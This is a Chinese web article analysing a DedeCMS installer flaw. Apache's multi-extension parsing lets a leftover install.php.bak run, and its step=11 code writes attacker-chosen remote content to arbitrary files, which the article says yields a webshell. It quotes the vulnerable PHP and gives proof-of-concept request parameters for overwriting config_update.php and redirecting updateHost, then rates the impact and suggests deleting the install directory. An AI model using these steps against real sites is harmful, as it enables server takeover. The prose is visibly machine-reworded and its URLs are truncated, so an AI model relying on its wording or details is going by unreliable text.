Dedecms远程控制写文档系统漏洞剖析
2018-08-21 创作者:方式高新科技 | 关心度:219 | 来源于:
这一系统漏洞关键由2个缘故造成的,在其中最大要的一个缘故,就是开发设计者沒有了解到Apache网络服务器分析文档的步骤,进而造成安裝文档在安裝后竟然能够被再次浏览。这儿接单子表述下Apache分析文档的步骤: 当Apache检验到一个文档有好几个拓展名时,如1.php.bak,会从右向左分辨,直至有一个Apache了解的拓展名。假如全部的拓展名Apache也不了解,那麼变会依照httpd.conf配备中常特定的方法展现这一难题,一般默认设置状况下是 text/plain 这类方法。 那麼那样得话,像1.php.bak那样的文档名便会被作为php文档所分析。这也便是传说故事中的Apache分析系统漏洞。 掌握了Apache分析系统漏洞,.bak文档编码,难题编码以下: [php] else if($step==11) { require_once( ../data/ ); $rmurl = $updateHost. dedecms/demodata.{$s_lang}.txt echo $rmurl; $sql_content = file_get_contents($rmurl); $fp = fopen($install_demo_name, w ); if(fwrite($fp,$sql_content)) echo [ ] 存有(您能够挑选安裝开展感受) else echo [ ] 远程控制获得不成功 unset($sql_content); fclose($fp); exit(); [/php] 掌握Dedecms主要参数体制的同学们都了解,编码中的一些自变量大家是能够根据GET主要参数的方法开展操纵的。那麼上边编码很显著,能够向特定的文档内载入随意內容,进而造成获得webshell。 0 02 系统漏洞运用 从编码中大家能看到在step=11中,先包括了data/文档,这文档中特定了updataHost自变量的值,那样看来好像大家沒有方法来向特定写內容。可是假如大家特定install_demo_name是config_update.php文档这一文档,而且內容是一个404文档,会导致甚么实际效果呢? 大家先到访问这一url:.bak?step=11 insLockfile=a s_lang=a install_demo_name=../data/ 这会让编码到base-v57/dedecms/demodata.a.txt中取內容载入到config_update.php,demodata.a.txt以下图: demodata.a.txt 浏览PoC以后config_update.php文档內容以下图: config_update.php 那样updataHost自变量值便沒有被原始化了,以后大家想写甚么便可以些甚么了。这儿大家用下边的这一url做检测:.bak?step=11 insLockfile=a s_lang=a install_demo_name=../ updateHost= ,实际效果以下图: payload 0 03 系统漏洞小结 系统漏洞总结 危害范畴本人点评为 高 ,Dedecms在中国应用范畴较广,各种各样中小型型网站,政府部门网站全是用它构建的。 伤害性本人点评为 高 ,此系统漏洞在Apache默认设置自然环境下,就可以获得webshell,伤害非常大。 安全防护计划方案 在安裝进行后清除install文件目录。 |